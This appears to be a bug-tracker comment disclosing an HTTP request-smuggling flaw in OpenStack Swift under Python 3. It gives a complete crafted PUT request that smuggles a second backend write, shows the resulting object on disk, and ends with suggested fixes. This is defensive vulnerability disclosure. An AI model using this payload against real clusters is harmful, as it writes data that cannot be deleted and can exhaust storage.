Comment 0 for bug 1840507

Revision history for this message
Tim Burke (1-tim-z) wrote :

Python 3 doesn't parse headers the same way as python 2 [1]. We attempt to address this failing [2], but since we're doing it at the application level, eventlet can still get confused about what should and should not be the request body.

Consider a client request like

  PUT /v1/AUTH_test/c/o HTTP/1.1
  Host: saio:8080
  Content-Length: 4
  Connection: close
  X-Object-Meta-x-🌴: 👍
  X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
  Transfer-Encoding: chunked

  aa
  PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
  Content-Length: 4
  X-Timestamp: 9999999999.99999_ffffffffffffffff
  Content-Type: text/evil
  X-Backend-Storage-Policy-Index: 1

  evil
  0

A python 2 proxy-server will auth the user, add a bunch more headers, and send a request on to the object-servers like

  PUT /sdb1/312/AUTH_test/c/o HTTP/1.1
  Accept-Encoding: identity
  Expect: 100-continue
  X-Container-Device: sdb2
  Content-Length: 4
  X-Object-Meta-X-🌴: 👍
  Connection: close
  X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
  Content-Type: application/octet-stream
  X-Backend-Storage-Policy-Index: 1
  X-Timestamp: 1565985475.83685
  X-Container-Host: 127.0.0.1:6021
  X-Container-Partition: 61
  Host: saio:8080
  User-Agent: proxy-server 3752
  Referer: PUT http://saio:8080/v1/AUTH_test/c/o
  Transfer-Encoding: chunked
  X-Trans-Id: txef407697a8c1416c9cf2d-005d570ac3
  X-Backend-Clean-Expiring-Object-Queue: f

(Note that the exact order of the headers will vary but is significant; the above was obtained on my machine with PYTHONHASHSEED=1.)

On a python 3 object-server, eventlet will only have seen the headers up to (and not including, though that doesn't really matter) the palm tree. Significantly, it sees `Content-Length: 4` (which, per the spec [3], the proxy-server ignored) and doesn't see either of `Connection: close` or `Transfer-Encoding: chunked`. The *application* gets all of the headers, though, so it responds

  HTTP/1.1 100 Continue

and the proxy sends the body:

  aa
  PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
  Content-Length: 4
  X-Timestamp: 9999999999.99999_ffffffffffffffff
  Content-Type: text/evil
  X-Backend-Storage-Policy-Index: 1

  evil
  0

Since eventlet thinks the request body is only four bytes, swift writes down b'aa\r\n' for AUTH_test/c/o. Since eventlet didn't see the `Connection: close` header, it looks for and processes more requests on the socket, and swift writes a second object:

  $ swift-object-info /srv/node1/sdb1/objects-1/0/*/*/9999999999.99999_ffffffffffffffff.data
  Path: /DUDE_u/r/pwned
    Account: DUDE_u
    Container: r
    Object: pwned
    Object hash: b05097e51f8700a3f5a29d93eb2941f2
  Content-Type: text/evil
  Timestamp: 2286-11-20T17:46:39.999990 (9999999999.99999_ffffffffffffffff)
  System Metadata:
    No metadata found
  Transient System Metadata:
    No metadata found
  User Metadata:
    No metadata found
  Other Metadata:
    No metadata found
  ETag: 4034a346ccee15292d823416f7510a2f (valid)
  Content-Length: 4 (valid)
  Partition 705
  Hash b05097e51f8700a3f5a29d93eb2941f2
  ...

There are a few things worth noting at this point:

1. This was for a replicated policy with encryption not enabled.
   Having encryption enabled would mitigate this as the attack
   payload would be encrypted; using an erasure-coded policy would
   complicate the attack, but I believe most EC schemes would still
   be vulnerable.
2. An attacker would need to know (or be able to guess) a device
   name (such as "sdb1" above) used by one of the backend nodes.
3. Swift doesn't know how to delete this data -- the X-Timestamp
   used was the maximum valid value, so no tombstone can be
   written over it [4].
4. The account and container may not actually exist; it doesn't
   really matter as no container update is sent. As a result, the
   data written cannot easily be found or tracked.
5. A small payload was used for the demonstration, but it should
   be fairly trivial to craft a larger one; this has potential as
   a DOS attack on a cluster by filling its disks.

The fix should involve at least things: First, after re-parsing headers, servers should make appropriate adjustments to environ['wsgi.input'] to ensure that it has all relevant information about the request body. Second, the proxy should not include a Content-Length header when sending a chunk-encoded request to the backend.

[1] https://bugs.python.org/issue37093
[2] https://github.com/openstack/swift/commit/76fde8926
[3] https://tools.ietf.org/html/rfc7230#section-3.3.3 item 3
[4] https://github.com/openstack/swift/commit/f581fccf7